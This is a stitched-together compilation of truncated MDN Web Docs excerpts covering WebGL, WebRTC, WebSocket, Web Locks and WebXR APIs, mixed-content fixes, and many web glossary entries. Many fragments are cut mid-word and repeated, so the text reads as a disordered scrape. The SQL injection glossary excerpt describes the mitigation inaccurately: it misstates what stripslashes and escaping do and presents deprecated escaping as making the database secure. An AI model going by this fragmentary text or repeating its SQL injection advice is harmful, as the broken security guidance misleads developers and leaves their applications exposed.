Syntax void gl.stencilOpSeparate(face, fail, zfail, zpass); Parameters The fail, zfail and zpass parameters accept all constants listed below. face A GLenum specifying whether the front and/or back stencil state is updated. The possible values are: gl.FRONT gl.BACK gl.FRONT_AND_BACK fail A GLenum specifying the function to use when the stencil test fails. The default value is gl.KEEP. zfail A GLenum specifying the function to use when the stencil test passes, but the depth test fails. The default value is gl.KEEP. ...
...ecifying the function to use when both the stencil test and the depth test pass, or when the stencil test passes and there is no depth buffer or depth testing is disabled. The default value is gl.KEEP. Return value None. Constants gl.KEEP Keeps the current value. gl.ZERO Sets the stencil buffer value to 0. gl.REPLACE Sets the stencil buffer value to the reference value as specified by
WebGLRenderingContext.stencilFunc(). gl.INCR Increments the current stencil buffer value. Clamps to the maximum representable unsigned value. gl.INCR_WRAP Increments the current stencil buffer value. Wraps stencil buffer value to zero when incrementing the maximum representable unsigned value. gl.DECR Decrements the current stencil buffer value. Clamps to 0. gl.DECR_WRAP Decrements the curren...
...constants with getParameter(). gl.getParameter(gl.STENCIL_FAIL); gl.getParameter(gl.STENCIL_PASS_DEPTH_PASS); gl.getParameter(gl.STENCIL_PASS_DEPTH_FAIL); gl.getParameter(gl.STENCIL_BACK_FAIL); gl.getParameter(gl.STENCIL_BACK_PASS_DEPTH_PASS); gl.getParameter(gl.STENCIL_BACK_PASS_DEPTH_FAIL); gl.getParameter(gl.STENCIL_BITS); Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilOpSeparate' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilOpSeparate' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
The
WebGLRenderingContext.uniform[1234][fi][v]() methods of the
WebGL API specify values of uniform variables. All active uniform variables defined in a program object are initialized to 0 when the program object is linked successfully. They retain the values assigned to them by a call to this method until the next successful link operation occurs on the program object, when they are once again initialized to 0. Many of the functions described here have expanded
WebGL 2 interfaces, which can be found under
WebGL2RenderingContext.uniform[1234][uif][v](). Syntax void gl.uniform1f(location, v0); void gl.uniform1fv(location, value); void gl.uniform1i(location, v0); void gl.uniform1iv(location, value); void gl.uniform2f(location, v0, v1); void gl.uniform2fv(location, value); void gl.uniform...
... value, v0, v1, v2, v3 A new value to be used for the uniform variable. Possible types: A floating point Number for floating point values (methods with "f"). A sequence of floating point numbers (for example a Float32Array or an Array of numbers) for floating point vector methods (methods with "fv"). An i...
...sequence of floating point numbers (for example a Float32Array or an Array of numbers) for floating point vector methods (methods with "fv"). An integer Number for integer values (methods with "i"). An Int32Array for integer vector methods (methods with "iv"). Return value None. Examples gl.uniform1f(u_alpha, 0.8); Specifications Specification Status Comment
WebGL 1.0The definition of 'uniform' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glUniform' in that specification. Standard Main page of the OpenGL API. ...
WebGLRenderingContext.useProgram() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glUseProgram' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glUseProgram' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. ...
WebGLRenderingContext.viewport() - Web APIs
Syntax void gl.viewport(x, y, width, height); Parameters x A GLint specifying the horizontal coordinate for the lower left corner of the viewport origin. Default value: 0. y A GLint specifying the vertical coordinate for the lower left corner of the viewport origin. Default value: 0. width A non-negative Glsizei specifying the width of the viewport. Default value: width of the canvas. height A non-negative Glsizei specifying the height of the viewport. Default value: height of the canvas. Return value None. ...
...port origin. Default value: 0. width A non-negative Glsizei specifying the width of the viewport. Default value: width of the canvas. height A non-negative Glsizei specifying the height of the viewport. Default value: height of the canvas. Return value None. Errors thrown If either width or height is a negative value, a gl.INVALID_VALUE error is thrown. Examples When you first create a
WebGL context, the size of the viewport will match the size of the canvas. However, if you resize the canvas, you will need to tell the
WebGL context a new viewport setting. In this situation, you can use gl.viewport. gl.viewport(0, 0, canvas.width, canvas.height); The viewport width and height are clamped to a range that is implementation dependent. To get this range, you can use the MAX_VIEWPORT...
...nge that is implementation dependent. To get this range, you can use the MAX_VIEWPORT_DIMS constant, which returns an Int32Array. gl.getParameter(gl.MAX_VIEWPORT_DIMS); // e.g. Int32Array[16384, 16384] To get the current viewport, query the VIEWPORT constant. gl.getParameter(gl.VIEWPORT); // e.g. Int32Array[0, 0, 640, 480] Specifications Specification Status Comment
WebGL 1.0The definition of 'viewport' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glViewport' in that specification. Standard Man page of the OpenGL API. ...
WebGLVertexArrayObject - Web APIs
The
WebGLVertexArrayObject interface is part of the
WebGL 2 API, represents vertex array objects (VAOs) pointing to vertex array data, and provides names for different sets of vertex data. When working with
WebGLVertexArrayObject objects, the following methods are useful:
WebGL2RenderingContext.createVertexArray()
WebGL2RenderingContext.deleteVertexArray()
WebGL2RenderingContext.isVertexArray()
WebGL2RenderingContext.bindVertexArray()
WebGL 1: The OES_vertex_array_object extension allows you to use vertex array objects in a
WebGL 1 context. Examples var vao = gl.createVertexArray(); gl.bindVertexArray(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... ...
... Editor's Draft Initial definition. ...
...t.bindVertexArray()
WebGL 1: The OES_vertex_array_object extension allows you to use vertex array objects in a
WebGL 1 context. Examples var vao = gl.createVertexArray(); gl.bindVertexArray(vao); // ... // calls to bindBuffer or vertexAttribPointer // which will be "recorded" in the VAO // ... Specifications Specification Status Comment
WebGL 2.0The definition of '
WebGLVertexArrayObject' in that specification. Editor's Draft Initial definition. ...
Lighting in WebGL - Web APIs
It just runs two functions you supply -- a vertex shader and a fragment shader -- and expects you to write creative functions to get the results you want. In other words, if you want lighting you have to calculate it yourself. Fortunately, it's not all that hard to do, and this article will cover some of the basics. This example uses the glMatrix library to perform its matrix and vertex math. You'll need to include it if you create your own project based on this code. Our sample loads a copy from a CDN in our HTML's <head>. ...
...ng lighting and shading in 3D Although going into detail about the theory behind simulated lighting in 3D graphics is far beyond the scope of this article, it's helpful to know a bit about how it works. Instead of discussing it in depth here, take a look at the article on Phong shading at Wikipedia, which provides a good overview of the most commonly used lighting model or if you'd like to see a
WebGL based explanation see this artcle. There are three basic types of lighting: Ambient light is the light that permeates the scene; it's non-directional and affects every face in the scene equally, regardless of which direction it's facing. Directional light is light that is emitted from a specific direction. This is light that's coming from so far away that every photon is moving parallel to e...
...textureCoord: textureCoordBuffer, indices: indexBuffer, }; This should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferData(). Then we add the code to drawScene() to bind the normals array to a shader attribute so the shader code can get access to it: // Tell
WebGL how to pull out the normals from // the normal buffer into the vertexNormal attribute. { const numComponents = 3; const type = gl.FLOAT; const normalize = false; const stride = 0; const offset = 0; gl.bindBuffer(gl.ARRAY_BUFFER, buffers.normal); gl.vertexAttribPointer( programInfo.attribLocations.vertexNormal, numComponents, type, ...
Taking still photos with WebRTC - Web APIs
This article shows how to use
WebRTC to access the camera on a computer or mobile phone with
WebRTC support and take a photo with it. Try this sample then read on to learn how it works. You can also jump straight to the code on Github if you like. The HTML markup Our HTML interface has two main operational sections: the stream and capture panel and the presentation panel. Each of these is presented side-by-side in its own <div> to facilitate styling and control. The first panel on the left contains two components: a <video> element, which will receive the stream from
WebRTC, and a <button> the user clicks to capture a video frame. <div class="camera"> <video id="video">Video stream not available.</video> <button id="startbutton">Take photo</button> </div> This is straight...
...ill be a reference to the <img> element after the page is done loading. startbutton This will be a reference to the <button> element that's used to trigger capture. We'll get that after the page is done loading. The startup() function The startup() function is run when the page has finished loading, courtesy of window.addEventListener(). This function's job is to request access to the user's
webcam, initialize the output <img> to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image. Getting element references First, we grab references to the major elements we need to be able to access. function startup() { video = document.getElementById('video'); canvas = document...
...aptured image, we convert it to PNG format by calling HTMLCanvasElement.toDataURL() on it; finally, we call photo.setAttribute() to make our captured still box display the image. If there isn't a valid image available (that is, the width and height are both 0), we clear the contents of the captured frame box by calling clearphoto(). Fun with filters Since we're capturing images from the user's
webcam by grabbing frames from a <video> element, we can very easily apply filters and fun effects to the video. As it turns out, any CSS filters you apply to the element using the filter property affect the captured photo. These filters can range from the simple (making the image black and white) to the extreme (gaussian blurs and hue rotation). You can play with this effect using, for example, th...
WebRTC Statistics API - Web APIs
Most broadly, you can call getStats() on an RTCPeerConnection to get statistics for the connection overall. In this example, a new RTCPeerConnection is created, and then setInterval() is used to set the function getConnectionStats() to be called every second. That function, in turn, uses getStats() to obtain statistics for the connection and to make use of that data. ...
... depends on the kind of the media. RTCAudioSenderStats or RTCVideoSenderStats RTCAudioHandlerStats or RTCVideoHandlerStats RTCMediaHandlerStats RTCStats stream Statistics about a particular media MediaStream. This has been obsoleted since the transition to
WebRTC being track-based rather than stream-based. RTCMediaStreamStats RTCStats track Statistics related to a specific MediaStreamTrack's attachment to one of the connection's senders or receivers. The referenced object's type depends on the track type. These statistics have all been moved to media-source, sender, receive...
... transceiver Statistics related to a specific RTCRtpTransceiver. RTCRtpTransceiverStats RTCStats transport Statistics about a transport used by the connection. RTCTransportStats RTCStats Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of '
WebRTC statistics types' in that specification. Candidate Recommendation Compatibility for individual statistic types
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCStatsReport' in that specification. Candidate Recommendation Compatibility of statistic reporting ...
WebSocket() - Web APIs
If you don't specify a protocol string, an empty string is assumed. Exceptions thrown SECURITY_ERR The port to which the connection is being attempted is being blocked. SyntaxError The URL is invalid. ...
...If you don't specify a protocol string, an empty string is assumed. Exceptions thrown SECURITY_ERR The port to which the connection is being attempted is being blocked. SyntaxError The URL is invalid. ...
...handle different types of interactions depending on the specified protocol). If you don't specify a protocol string, an empty string is assumed. Exceptions thrown SECURITY_ERR The port to which the connection is being attempted is being blocked. SyntaxError The URL is invalid. Specifications Specification Status Comment HTML Living StandardThe definition of 'the
WebSocket constructor' in that specification. Living Standard ...
WebSocket.send() - Web APIs
It may be one of the following types: USVString A text string. The string is added to the buffer in UTF-8 format, and the value of bufferedAmount is increased by the number of bytes required to represent the UTF-8 string. ...
...It may be one of the following types: USVString A text string. The string is added to the buffer in UTF-8 format, and the value of bufferedAmount is increased by the number of bytes required to represent the UTF-8 string. ...
... Living Standard Initial definition ...
Web Locks API - Web APIs
The
Web Locks API allows scripts running in one tab or worker to asynchronously acquire a lock, hold it while work is performed, then release it. While held, no other script executing in the same origin can acquire the same lock, which allows a
web app running in multiple tabs or workers to coordinate work and the use of resources.
Web Locks Concepts and Usage A lock is an abstract concept representing some potentially shared resource, identified by a name chosen by the
web app. For example, if a
web app running in multiple tabs wants to ensure that only one tab is syncing data between the network and Indexed DB, each tab could try to acquire a "my_net_db_sync" lock, but only one tab will succeed (the leader election pattern.) The API is used as follows: The lock is requested...
...eadlock occurs when a process can no longer make progress because each part is waiting on a request that cannot be satisfied. This can occur with this API in complex use-cases, for example, if multiple locks are requested out-of-order. If tab 1 holds lock A and tab 2 holds lock B, then tab 1 attempts to also acquire lock B and tab 2 attempts to also acquire lock A, neither request can be granted.
Web applications can avoid this through several strategies, such as ensuring lock requests are not nested, or are always well ordered, or have timeouts. Note that such deadlocks only affect the locks themselves and code depending on them; the browser, other tabs, and other script in the page is not affected. Interfaces Lock Provides the name and mode of a previously requested lock, which is rece...
...the page is not affected. Interfaces Lock Provides the name and mode of a previously requested lock, which is received in the callback to LockManager.request(). LockManager Provides methods for requesting a new Lock object and querying for an existing Lock object. To get an instance of LockManager, call navigator.locks. Specifications Specification Status Comment
Web Locks API Draft Initial definition. ...
XRWebGLLayer.antialias - Web APIs
The read-only XR
WebGLLayer property antialias is a Boolean value which is true if the rendering layer's frame buffer supports antialiasing. Otherwise, this property's value is false. The specific antialiasing technique used is left to the user agent's discretion and cannot be specified by the
web site or
web app. Syntax let antialiasingSupported = xr
WebGLLayer.antialias; Value A Boolean value which is true if the
WebGL rendering layer's frame buffer is configured to support antialiasing. Otherwise, this property is false. When the
WebXR compositor is enabled, this value corresponds to the value of the antialias property on the object returned by the
WebGL context's getContentAttributes() method. Usage notes Since this is a read-only property, you can set the antialiasing mode only w...
...ndering layer's frame buffer is configured to support antialiasing. Otherwise, this property is false. When the
WebXR compositor is enabled, this value corresponds to the value of the antialias property on the object returned by the
WebGL context's getContentAttributes() method. Usage notes Since this is a read-only property, you can set the antialiasing mode only when initially creating the XR
WebGLLayer, by specifying the antialias object in the XR
WebGLLayer() constructor's layerInit parameter. Examples This snippet checks the value of antialias to see if it should perform additional work to attempt to compensate for the lack of antialiasing on the
WebGL layer. let glLayer = xrSession.renderState.baseLayer; gl.bindFrameBuffer(gl.FRAMEBUFFER, glLayer.framebuffer); /* .. */ if (!glLaye...
...the value of antialias to see if it should perform additional work to attempt to compensate for the lack of antialiasing on the
WebGL layer. let glLayer = xrSession.renderState.baseLayer; gl.bindFrameBuffer(gl.FRAMEBUFFER, glLayer.framebuffer); /* .. */ if (!glLayer.antialias) { /* compensate for lack of antialiasing */ } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR
WebGLLayer.antialias' in that specification. Working Draft Initial definition. ...
XRWebGLLayerInit.stencil - Web APIs
When using the XR
WebGLLayer() constructor to create a new
WebGL rendering layer for
WebXR, providing as the layerInit parameter an object whose stencil property is false requests that the new layer be created without a stencil buffer. The stencil buffer is an optional buffer which, just like the depth buffer, contains one entry for every pixel in the frame buffer. Also just like the depth buffer, the value of an enter in the stencil buffer directly affects how (or if) the corresponding pixel is drawn during rendering. You can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame. ...
...er, the value of an enter in the stencil buffer directly affects how (or if) the corresponding pixel is drawn during rendering. You can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame. Syntax let layerInit = { stencil: false }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { stencil: false }); Value A Boolean which can be set to false to specify that the new
WebGL layer should not include a stencil buffer. The default value is true. Example In this example, a new XR
WebGLLayer is created for a
WebXR session, xrSession, without a stencil buffer. xrSession.updateRenderState({ base...
...sion, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { stencil: false }); Value A Boolean which can be set to false to specify that the new
WebGL layer should not include a stencil buffer. The default value is true. Example In this example, a new XR
WebGLLayer is created for a
WebXR session, xrSession, without a stencil buffer. xrSession.updateRenderState({ baseLayer: new XR
WebGLLayer(xrSession, gl, { stencil: false }); }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR
WebGLLayerInit.stencil' in that specification. Working Draft Initial definition. ...
How to fix a website with blocked mixed content - Web security
Starting with Firefox 23, Firefox blocks active mixed content by default. This follows a practice adopted by Internet Explorer (since version 9) and Chrome. This page explains what you should be aware of as a
web developer. Your
website may break If your
website delivers HTTPS pages, all active mixed content delivered via HTTP on this pages will be blocked by default. Consequently, your
website may appear broken to users (if iframes or plugins don't load, etc.). ...
...tent delivered via HTTP on this pages will be blocked by default. Consequently, your
website may appear broken to users (if iframes or plugins don't load, etc.). Passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. Note that since mixed content blocking already happens in Chrome and Internet Explorer, it is very likely that if your
website works in both of these browsers, it will work equally well in Firefox with mixed content blocking. In any case, the best way to know if something is broken in Firefox is to download the latest Firefox Edition, open different pages on your
website with the
web console open (enable the "Security" messages) and see if anything related to mixed content is reported. Or use a free online crawler l...
...ase, the best way to know if something is broken in Firefox is to download the latest Firefox Edition, open different pages on your
website with the
web console open (enable the "Security" messages) and see if anything related to mixed content is reported. Or use a free online crawler like SSL-check or Missing Padlock, a desktop crawler like HTTPSChecker, or a CLI tool like mcdetect to check your
website recursively and find links to insecure content. If nothing is said about mixed content, your
website is in good shape: Keep making excellent
websites! How to fix your
website The best strategy to avoid mixed content blocking is to serve all the content as HTTPS instead of HTTP. For your own domain, serve all content as HTTPS and fix your links. Often, the HTTPS version of the content alre...
API - MDN Web Docs Glossary: Definitions of Web-related terms
An API (Application Programming Interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface. The API can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware. In
Web development, an API is generally a set of code features (e.g. methods, properties, events, and URLs) that a developer can use in their apps for interacting with components of a user's
web browser, or other software/hardware on the user's computer, or third party
websites and services. For example: The getUserMedia API can be used to grab audio and video from a user's
webcam, which can then be used in any way the ...
...location information from whatever service the user has available on their device (e.g. GPS), which can then be used in conjunction with the Google Maps APIs to for example plot the user's location on a custom map and show them what tourist attractions are in their area. The Twitter APIs can be used to retrieve data from a user's twitter accounts, for example, to display their latest tweets on a
web page. The
Web Animations API can be used to animate parts of a
web page -- for example, to make images move around or rotate. Learn more General knowledge API on Wikipedia Technical reference
Web API reference ...
CalDAV - MDN Web Docs Glossary: Definitions of Web-related terms
CalDAV (Calendaring extensions to
WebDAV) is a protocol standardized by the IETF and used to remotely access calendar data from a server. ...
... CalDAV (Calendaring extensions to
WebDAV) is a protocol standardized by the IETF and used to remotely access calendar data from a server. ...
ECMA - MDN Web Docs Glossary: Definitions of Web-related terms
Ecma International (formally European Computer Manufacturers Association) is a non-profit organization that develops standards in computer hardware, communications, and programming languages. ...
...n Computer Manufacturers Association) is a non-profit organization that develops standards in computer hardware, communications, and programming languages. On the
web it is famous for being the organization which maintain the ECMA-262 specification (aka. ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
Usually, a favicon is 16 x 16 pixels in size and stored in the GIF, PNG, or ICO file format. They are used to improve user experience and enforce brand consistency. ...
... Usually, a favicon is 16 x 16 pixels in size and stored in the GIF, PNG, or ICO file format. They are used to improve user experience and enforce brand consistency. ...
First interactive - MDN Web Docs Glossary: Definitions of Web-related terms
Minimally interactive is defined as when some, but not necessarily all, UI elements on the page have loaded and are interactive, and, on average, respond to user input in a reasonable amount of time. More information First interactive is a variation of Time to Interactive, which is split into First Interactive and Consistently Interactive. ...
...y interactive. Minimally interactive is defined as when some, but not necessarily all, UI elements on the page have loaded and are interactive, and, on average, respond to user input in a reasonable amount of time. More information First interactive is a variation of Time to Interactive, which is split into First Interactive and Consistently Interactive. These metrics have been proposed by the
Web Incubator Community Group and are already being used in various tools. This metric has been called First CPU Idle since Lighthouse 3.0 ...
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
The current version of the HTTP specification is called HTTP/2. As part of a URI, the "http" within "http://example.com/" is called a "scheme". Resources using the "http" schema are typically transported over unencrypted connections using the HTTP protocol. The "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the HTTP protocol, but over a secure TLS channel. ...
...d over unencrypted connections using the HTTP protocol. The "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the HTTP protocol, but over a secure TLS channel. HTTP is textual (all communication is done in plain text) and stateless (no communication is aware of previous communications). This property makes it ideal for humans to read documents (
web sites) on the world wide
web. However, HTTP can also be used as a basis for REST
web services from server to server or AJAX requests within
web sites to make them more dynamic. Learn more HTTP on MDN HTTP on Wikipedia ...
ICE - MDN Web Docs Glossary: Definitions of Web-related terms
This protocol lets two peers find and establish a connection with one another even though they may both be using Network Address Translator (NAT) to share a global IP address with other devices on their respective local networks. ...
...in order: Direct UDP connection (In this case--and only this case--a STUN server is used to find the network-facing address of a peer) Direct TCP connection, via the HTTP port Direct TCP connection, via the HTTPS port Indirect connection via a relay/TURN server (if a direct connection fails, e.g., if one peer is behind a firewall that blocks NAT traversal) Learn more General knowledge
WebRTC, the principal
web-related protocol which uses ICE
WebRTC protocols Technical reference RFC 5245, the IETF specification for ICE RTCIceCandidate, the interface representing a ICE candidate ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
Summary JavaScript (or "JS") is a programming language used most often for dynamic client-side scripts on
webpages, but it is also often used on the server-side, using a runtime such as Node.js. JavaScript should not be confused with the Java programming language. Although "Java" and "JavaScript" are trademarks (or registered trademarks) of Oracle in the U.S. and other countries, the two programming languages are significantly different in their syntax, semantics, and use cases. JavaScript is primarily used in the browser, enabling developers to manipulate
webpage content through the DOM, manipulate data with AJAX and IndexedDB, draw graphics with canvas, interact with the device running the browser through various APIs, and more. JavaScript is one of the world's most commonly-used...
... is available as of June 2019. Recently, JavaScript's popularity has expanded even further through the successful Node.js platform--the most popular cross-platform JavaScript runtime environment outside the browser. Node.js - built using Chrome's V8 JavaScript Engine - allows developers to use JavaScript as a scripting language to automate things on a computer and build fully functional HTTP and
Web Sockets servers. Learn more General knowledge JavaScript on Wikipedia Learning JavaScript The JavaScript Guide on MDN The "javascripting" workshop on NodeSchool The JavaScript course on codecademy.com John Resig's Learning Advanced JavaScript Technical reference The latest ECMAScript standard The JavaScript reference on MDN The Eloquent JavaScript book ...
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
terial such as music, recorded speech, movies, TV shows, or any other form of content that is presented over a period of time. More broadly, media may include still images such as photographs or other still images. ...
... form of content that is presented over a period of time. More broadly, media may include still images such as photographs or other still images. ...
Mozilla Firefox - MDN Web Docs Glossary: Definitions of Web-related terms
Mozilla Firefox is a free open-source browser whose development is overseen by the Mozilla Corporation. Firefox runs on Windows, OS X, Linux, and Android. ...
... Mozilla Firefox is a free open-source browser whose development is overseen by the Mozilla Corporation. Firefox runs on Windows, OS X, Linux, and Android. First released in November 2004, Firefox is completely customizable with themes, plug-ins, and add-ons. Firefox uses Gecko to render
webpages, and implements both current and upcoming
Web standards. Learn more General knowledge Mozilla Firefox official
website Technical reference Firefox developer documentations on MDN ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
Many browsing features became standard after Netscape introduced them. Netscape could display a
webpage while loading, used JavaScript for forms and interactive content, and stored session information in cookies. ...
... Netscape Navigator or Netscape was a leading browser in the 1990s. Netscape was based on Mosaic and the Netscape team was led by Marc Andreessen, a programmer who also wrote code for Mosaic. Netscape helped make the
Web graphical rather than a text-only experience. Many browsing features became standard after Netscape introduced them. Netscape could display a
webpage while loading, used JavaScript for forms and interactive content, and stored session information in cookies. Despite Netscape's technical advantages and initial dominance, by the late 1990s Internet Explorer swiftly overtook Netscape in market share. Learn more General Knowledge Netscape Navigator on Wikipedia ...
Opera Browser - MDN Web Docs Glossary: Definitions of Web-related terms
Opera is the fifth most used
web browser, publicly released in 1996 and initially running on Windows only. Opera uses Blink as its layout engine since 2013 (before that, Presto). Opera also exists in mobile and tablet versions. ...
... Opera is the fifth most used
web browser, publicly released in 1996 and initially running on Windows only. Opera uses Blink as its layout engine since 2013 (before that, Presto). Opera also exists in mobile and tablet versions. ...
Page prediction - MDN Web Docs Glossary: Definitions of Web-related terms
Page Prediction is a browser feature or script which, when enabled, tells the browser to download resources the user is likely to visit before the user requests the content. Page prediction improves performance by enabling almost instant loading of predicted content. However, page prediction may also download content a user does not seek. ...
...ure completing search text and address bar URLs based on browsing history and related searches. For example, as the user types in the address bar, the browser might send the current text in the address bar to the search engine before the user submits the request. Although browser page prediction and prediction services enable faster page loads, they consume additional bandwidth. Also, pre-loaded
websites and embedded content can set and read their cookies as if they were visited even if they weren't. ...
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
For example, a polyfill could be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7 using a Silverlight plugin or mimic support for CSS rem units, or text-shadow, or whatever you want. The reason why polyfills are not used exclusively is for better functionality and better performance. Native implementations of APIs can do more and are faster than polyfills. For example, the Object.create polyfill only contains the functionalities that are possible in a non-native implementation of Object.create. ...
...back in the days of IE6, Netscape, and NNav where each browser implemented Javascript very differently. The 1st version of JQuery was an early example of a polyfill. It was essentially a compilation of browser-specific workarounds so that JavaScript developers could have a single common API that worked in all browsers. At the time, JavaScript developers were grasping at straws trying to get their
website to work across all devices because there was such a discrepancy between browsers that the
website might have to be programmed radically differently and have a much different user interface based upon the user's browser. Thus, the JavaScript developer had access to only a very tiny handful of JavaScript APIs that worked more-or-less consistently across all browsers. Using a polyfill to handle ...
SDP - MDN Web Docs Glossary: Definitions of Web-related terms
d video. ...
...st.anywhere.com s= c=IN IP4 host.anywhere.com t=0 0 m=audio 49170 RTP/AVP 0 a=rtpmap:0 PCMU/8000 m=video 51372 RTP/AVP 31 a=rtpmap:31 H261/90000 m=video 53000 RTP/AVP 32 a=rtpmap:32 MPV/90000 SDP is never used alone, but by protocols like RTP and RTSP. SDP is also as component of
WebRTC, which uses SDP as a way of describing a session. Learn more General knowledge
WebRTC protocols Session Description Protocol on Wikipedia ...
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
SQL injection can gain unauthorized access to a database or to retrieve information directly from the database. Many data breaches are due to SQL injection. ...
...= Stripslashes($id) (2) $id = mysql_real_escape_String($id) So due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/). The revised magical string fails to bypass the authentication, and your database stays secure. Learn more General knowledge SQL injection on Wikipedia Explanation of SQL injection on OWASP (Open
Web Application Security Project) ...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
play in a non-visual way, usually as text to speech, but also into braille or sound icons. Screen readers are essential to people who are blind, as well as useful to people who are visually impaired, illiterate, or have a learning disability. There are some browser extension screen readers, but most screen readers operate system-wide for all user applications, not just the browser. In terms of
web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility APIs, using various operating system features and employing hooking techniques. VoiceOver macOS comes with VoiceOver, a built-in screen reader. To access VoiceOver, go to System Preferences > Accessibility > VoiceOver. You can also toggle VoiceOver on and off with fn+c...
...m features and employing hooking techniques. VoiceOver macOS comes with VoiceOver, a built-in screen reader. To access VoiceOver, go to System Preferences > Accessibility > VoiceOver. You can also toggle VoiceOver on and off with fn+command + F5. VoiceOver both reads aloud and displays content. The content read aloud is displayed in a dark grey box. Desktop/laptop screen reader users navigate
websites with a keyboard or other non-pointing device. The best way to emulate use is to do the same. Just like keyboard navigation without VoiceOver, you can navigate through interactive elements using the tab key and the arrow keys: Next interactive element: Tab Previous interactive element: Shift + Tab Next radio button in a same named-group: right or down arrow Previous radio button in a s...
Stylesheet - MDN Web Docs Glossary: Definitions of Web-related terms
External stylesheets are generally preferred because they allow you to control the styling of multiple pages from a single place, rather than having to repeat the CSS across each page. ...
... External stylesheets are generally preferred because they allow you to control the styling of multiple pages from a single place, rather than having to repeat the CSS across each page. ...
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
Both SSL and TLS are client / server protocols that ensure communication privacy by using cryptographic protocols to provide security over a network. When a server and client communicate using TLS, it ensures that no third party can eavesdrop or tamper with any message. ...
...ocol, requiring the server to provide a valid digital certificate confirming its identity in order to establish a secure connection. It is possible for both the client and server to mutually authenticate each other, if both parties provide their own individual digital certificates. Note: TLS 1.0 and 1.1 support will be removed from all major browsers in early 2020; you'll need to make sure your
web server supports TLS 1.2 or 1.3 going forward. From version 74 onwards, Firefox will return a Secure Connection Failed error when connecting to servers using the older TLS versions (bug 1606734). ...
TURN - MDN Web Docs Glossary: Definitions of Web-related terms
TURN (Traversal Using Relays around NAT) is a protocol enabling a computer to receive and send data from behind a Network Address Translator (NAT) or firewall. ...
... TURN (Traversal Using Relays around NAT) is a protocol enabling a computer to receive and send data from behind a Network Address Translator (NAT) or firewall. ...
Three js - MDN Web Docs Glossary: Definitions of Web-related terms
The three.js library provides many features and APIs for drawing 3D scenes in your browser. ...
... three.js is a JavaScript-based
WebGL engine that can run GPU-powered games and other graphics-powered apps straight from the browser. The three.js library provides many features and APIs for drawing 3D scenes in your browser. Learn more General Knowledge Three.js on Wikipedia three.js official
website ...
Tree shaking - MDN Web Docs Glossary: Definitions of Web-related terms
Tree shaking is a term commonly used within a JavaScript context to describe the removal of dead code. It relies on the import and export statements in ES2015 to detect if code modules are exported and imported for use between JavaScript files. In modern JavaScript applications, we use module bundlers (e.g.,
webpack or Rollup) to automatically remove dead code when bundling multiple JavaScript files into single files. ...
...ically remove dead code when bundling multiple JavaScript files into single files. This is important for preparing code that is production ready, for example with clean structures and minimal file size. Learn more General knowledge "Benefits of dead code elimination during bundling" in Axel Rauschmayer's book: "Exploring JS: Modules" Technical reference Tree shaking implementation with
webpack ...
UTF-8 - MDN Web Docs Glossary: Definitions of Web-related terms
Each character is represented by one to four bytes. UTF-8 is backward-compatible with ASCII and can represent any standard Unicode character. The first 128 UTF-8 characters precisely match the first 128 ASCII characters (numbered 0-127), meaning that existing ASCII text is already valid UTF-8. All other characters use two to four bytes. Each byte has some bits reserved for encoding purposes. Since non-ASCII characters require more than one byte for storage, they run the risk of being corrupted if the bytes are separated and not recombined. ...
...ed 0-127), meaning that existing ASCII text is already valid UTF-8. All other characters use two to four bytes. Each byte has some bits reserved for encoding purposes. Since non-ASCII characters require more than one byte for storage, they run the risk of being corrupted if the bytes are separated and not recombined. Learn more General knowledge UTF-8 on Wikipedia FAQ about UTF-8 on Unicode
website ...
WAI - MDN Web Docs Glossary: Definitions of Web-related terms
WAI or
Web Accessibility Initiative is an effort by the World Wide
Web Consortium (W3C) to improve accessibility for people with various challenges, who may need a nonstandard browser or devices. ...
... WAI or
Web Accessibility Initiative is an effort by the World Wide
Web Consortium (W3C) to improve accessibility for people with various challenges, who may need a nonstandard browser or devices. Learn more General knowledge WAI
website
Web Accessibility Initiative on Wikipedia ...
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
Web Content Accessibility Guidelines (WCAG) are a recommendation published by the
